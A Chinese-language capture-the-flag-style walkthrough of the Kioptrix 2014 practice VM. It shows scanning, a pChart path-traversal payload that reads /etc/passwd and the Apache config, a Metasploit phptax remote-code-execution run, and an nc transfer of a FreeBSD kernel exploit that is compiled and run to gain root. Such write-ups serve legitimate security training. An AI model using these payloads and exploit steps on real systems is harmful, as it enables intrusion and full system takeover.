环境介绍:
名称:Kioptrix: 2014 (#5)
日期:2014年4月6日
作者:Kioptrix
系列:Kioptrix
说明:像往常一样,这个易受攻击的机器是针对初学者的。对于经验丰富的笔友或安全极客而言,这并不适合10年来一直在这种情况下使用。每个人都需要一个开始的地方,我想做的就是帮助。
此外,在启动VM之前,我建议您删除网卡并重新添加。由于一些奇怪的原因,它没有得到它的IP(我有点知道为什么,但不想提供任何细节)。因此,只需将VM添加到虚拟化软件中,删除然后添加网卡即可。将它设置为桥接模式,你应该很高兴。
这是使用ESX 5.0创建并在Fusion上测试的,但在其他平台上应该不是很大的问题。
信息搜集
还是使用namp
…
获取目标端口信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
$ nmap -sV -p- 192.168.123.69
Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-07 09:37 CST
Nmap scan report for kioptrix2014.lan (192.168.123.69)
Host is up (0.00035s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
8080/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
MAC Address: 00:0C:29:9E:B9:24 (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 116.42 seconds
MB)
|
` * 80and8080,直接扫一波。
扫描目录信息
这次我们使用dirb吧,方便迅速。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
$ dirb http://192.168.123.69/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Wed Aug 7 09:38:04 2019
URL_BASE: http://192.168.123.69/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.123.69/ ----
+ http://192.168.123.69/cgi-bin/ (CODE:403|SIZE:210)
+ http://192.168.123.69/index.html (CODE:200|SIZE:152)
-----------------
END_TIME: Wed Aug 7 09:38 6
|
审查代码信息
暴目录了。
1
2
3
4
5
6
7
8
9
10
11
12
|
<html>
<head>
<!--
<META HTTP-EQUIV="refresh" CONTENT="5;URL=pChart2.1.3/index.php">
-->
</head>
<body>
<h1>It works!</h1>
</body>
</html>
|
远程包含漏洞利用
搜到Poc
1
|
hxxp://localhost/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd
|
查看8080的配置文件。
1
|
http://192.168.123.69/pChart2.1.3/index.php?Action=View&Script=%2f..%2f..%2fusr/local/etc/apache22/httpd.conf
|
获取到:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
SetEnvIf User-Agent ^Mozilla/4.0 Mozilla4_browser
<VirtualHost *:8080>
DocumentRoot /usr/local/www/apache22/data2
<Directory "/usr/local/www/apache22/data2">
Options Indexes FollowSymLinks
AllowOverride All
Order allow,deny
Allow from env=Mozilla4_browser
</Directory>
</VirtualHost>
|
改 User-Agent 得到 phptax。
反弹shell
搜索 phptax 获得
1
2
3
|
PhpTax - 'pfilez' Execution Remote Code Injection ( | exploits/php/webapps/21833.rb
PhpTax 0.8 - File Manipulation 'newvalue' / Remote | exploits/php/webapps/25849.txt
phptax 0.8 - Remote Code Execution | exploits/php/webapps/21665.t
|
时间原因直接msf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
|
msf5 exploit(multi/http/phptax_exec) > show options
Module options (exploit/multi/http/phptax_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /phptax/ yes The path to the web application
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 PhpTax 0.8
msf5 exploit(multi/http/phptax_exec) > set RHOSTS 192.168.123.69
RHOSTS => 192.168.123.69
msf5 exploit(multi/http/phptax_exec) > show options
Module options (exploit/multi/http/phptax_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.123.69 yes The target address range or CIDR identifier
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /phptax/ yes The path to the web application
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 PhpTax 0.8
msf5 exploit(multi/http/phptax_exec) > set RPORT 8080
RPORT => 8080
msf5 exploit(multi/http/phptax_exec) > run
|
提权
系统版本
1
|
FreeBSD kioptrix2014 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan 3 07:46:30 UTC 2012 root@farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64
|
exp
- 这里有个坑,我通过 msf上传的所以shell都是不可以执行的,后来找了下才知道需要通过nc来进行上传。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
cp /usr/share/exploitdb/exploits/freebsd/local/28718.c . //拷贝到临时目录
nc -lvp 6666 <exp.c //客户机运行
nc 192.168.123.1 6666> exp.c //服务器运行
ls
exp.c
mysql.sock
vmware-fonts0
gcc exp.c
exp.c:178:2: warning: no newline at end of file
ls
a.out
exp.c
mysql.sock
vmware-fonts0
./a.out
[+] SYSRET FUCKUP!!
[+] Start Engine...
[+] Crotz...
[+] Crotz...
[+] Crotz...
[+] Woohoo!!!
whoami
root
id
uid=0(root) gid=0(wheel) groups=0(wheel)
|
心得
说是初级,其实里面的一些细节还是可以的,主要是一个常规的思路。